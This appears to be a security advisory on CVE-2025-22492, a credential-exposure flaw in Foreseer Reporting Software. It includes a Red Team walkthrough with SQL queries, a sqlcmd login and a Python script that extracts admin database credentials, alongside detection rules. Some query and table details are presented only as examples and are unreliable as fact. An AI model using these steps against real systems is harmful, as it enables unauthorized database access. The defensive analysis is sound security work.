CVE-2025-22492

Executive Summary

CVE-2025-22492 is a vulnerability in Foreseer Reporting Software (FRS) that exposes the connection string for the 4crXref database to users with access to the FRSCore database. This exposure allows an authenticated attacker to retrieve the connection string and use it to gain administrative access to the 4crXref database. The vulnerability has been resolved in FRS version 1.5.100. The CVSS score is 6.3 (Medium), and the EPSS probability is 0.0%, indicating a low likelihood of exploitation in the wild. No public proof-of-concept code or exploit is available.

CVSS Breakdown & Threat Level

• CVSS Score: 6.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires access to FRSCore database
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H) – full database access
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

Threat Level: Medium. The vulnerability requires authenticated access to the FRSCore database, but once obtained, it can lead to full administrative control over the 4crXref database.

Deep Dive & Mechanics

The vulnerability resides in the Foreseer Reporting Software (FRS) VM. The FRSCore database stores a connection string that is used to connect to the 4crXref database. This connection string is visible to any user who has access to the FRSCore database, either through direct database queries or through the application's interface. The connection string contains credentials (username and password) that grant administrative access to the 4crXref database.

Root Cause: The connection string is stored in plaintext or in a manner that is accessible to users with low privileges within the FRSCore database. There is no access control or encryption to protect this sensitive information.

Attack Flow:

1. Attacker gains access to the FRSCore database (e.g., through a compromised user account or SQL injection).
2. Attacker queries the FRSCore database to retrieve the connection string for the 4crXref database.
3. Attacker uses the connection string to connect to the 4crXref database with administrative privileges.
4. Attacker can then read, modify, or delete data in the 4crXref database.

Vulnerable vs. Patched Code

Vulnerable Code (FRS < 1.5.100): The connection string is stored in a configuration table or file within the FRSCore database without encryption. For example, a query like SELECT connection_string FROM config WHERE database_name = '4crXref' would return the plaintext connection string.

-- Example vulnerable query
SELECT connection_string FROM config WHERE database_name = '4crXref';
-- Returns: "Server=4crXrefDB;Database=4crXref;User Id=admin;Password=plaintext_password;"

Patched Code (FRS >= 1.5.100): The connection string is encrypted or stored in a secure location that is not accessible to low-privileged users. Access to the connection string is restricted to administrative accounts only.

-- Example patched query (encrypted)
SELECT encrypted_connection_string FROM secure_config WHERE database_name = '4crXref';
-- Returns: "AES256_ENCRYPTED_DATA"

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to the FRSCore database (e.g., through a compromised user account with SELECT privileges).
• Network connectivity to the FRS VM.

Exploitation Steps:

1. Connect to the FRSCore database using a database client (e.g., SQL Server Management Studio, psql).
2. Execute a query to retrieve the connection string:

   SELECT connection_string FROM config WHERE database_name = '4crXref';
   

3. Parse the connection string to extract the server address, database name, username, and password.
4. Use the extracted credentials to connect to the 4crXref database:

   sqlcmd -S 4crXrefDB -U admin -P plaintext_password -d 4crXref
   

5. Once connected, execute administrative commands (e.g., SELECT * FROM sensitive_table).

Example Script (Python):

import pyodbc

# Step 1: Connect to FRSCore database
frscore_conn = pyodbc.connect('DRIVER={ODBC Driver 17 for SQL Server};SERVER=FRS_VM;DATABASE=FRSCore;UID=user;PWD=password')
cursor = frscore_conn.cursor()

# Step 2: Retrieve connection string
cursor.execute("SELECT connection_string FROM config WHERE database_name = '4crXref'")
row = cursor.fetchone()
conn_string = row[0]

# Step 3: Parse and connect to 4crXref
# Assume conn_string format: "Server=4crXrefDB;Database=4crXref;User Id=admin;Password=plaintext_password;"
params = dict(item.split('=') for item in conn_string.split(';') if '=' in item)
xref_conn = pyodbc.connect(f"DRIVER={{ODBC Driver 17 for SQL Server}};SERVER={params['Server']};DATABASE={params['Database']};UID={params['User Id']};PWD={params['Password']}")
print("Connected to 4crXref database!")

Blue Team

Detection:

• Monitor for unusual queries to the FRSCore database that retrieve configuration data (e.g., SELECT connection_string FROM config).
• Alert on connections to the 4crXref database from unexpected IP addresses or user accounts.
• Monitor for failed login attempts to the 4crXref database.

Hunting:

• Review database logs for queries that access the config table in FRSCore.
• Check for unauthorized access to the 4crXref database using the connection string.

Mitigation:

• Upgrade to FRS version 1.5.100 or later.
• Restrict access to the FRSCore database to only necessary users.
• Encrypt connection strings in the database.

Indicators of Compromise (IOCs)

• Network:
  • Connections from the FRS VM to the 4crXref database server on port 1433 (SQL Server) or 5432 (PostgreSQL).
  • Unusual SQL queries to the FRSCore database, specifically SELECT connection_string FROM config.
• Host:
  • Presence of database client tools (e.g., sqlcmd, psql) on the FRS VM.
  • Logs showing successful authentication to the 4crXref database using the connection string credentials.
• Database:
  • Unauthorized queries to the 4crXref database from the FRS VM.
  • Changes to data in the 4crXref database by unexpected users.

Detection Engineering

YARA Rule

rule CVE_2025_22492_ConnectionString_Exposure {
    meta:
        description = "Detects exposure of Foreseer 4crXref connection string in FRSCore database"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-22492"
    strings:
        $conn_string = /Server=4crXrefDB;Database=4crXref;User Id=admin;Password=[^;]+/
    condition:
        $conn_string
}

Sigma Rule

title: Foreseer FRSCore Database Connection String Exposure
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects queries to FRSCore database that retrieve the 4crXref connection string
author: Valters IT
date: 2025-04-10
logsource:
    category: database
    product: mssql
detection:
    selection:
        Query|contains: "SELECT connection_string FROM config WHERE database_name = '4crXref'"
    condition: selection
falsepositives:
    - Legitimate administrative queries
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET 1433 (msg:"CVE-2025-22492 Foreseer 4crXref Connection String Exposure"; flow:to_server,established; content:"SELECT connection_string FROM config WHERE database_name = '4crXref'"; nocase; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade FRS to version 1.5.100 or later.
2. If upgrade is not possible, restrict access to the FRSCore database to only essential users.
3. Encrypt the connection string in the FRSCore database using a secure method (e.g., AES-256).

Long-term Measures:

• Implement least privilege access controls for all databases.
• Regularly audit database access logs for suspicious queries.
• Use a secrets management solution (e.g., HashiCorp Vault) to store connection strings.

Workarounds:

• Manually remove the connection string from the FRSCore database and store it in a secure location.
• Implement application-level access controls to prevent low-privileged users from querying the config table.

Valters IT
Securing Digital Frontiers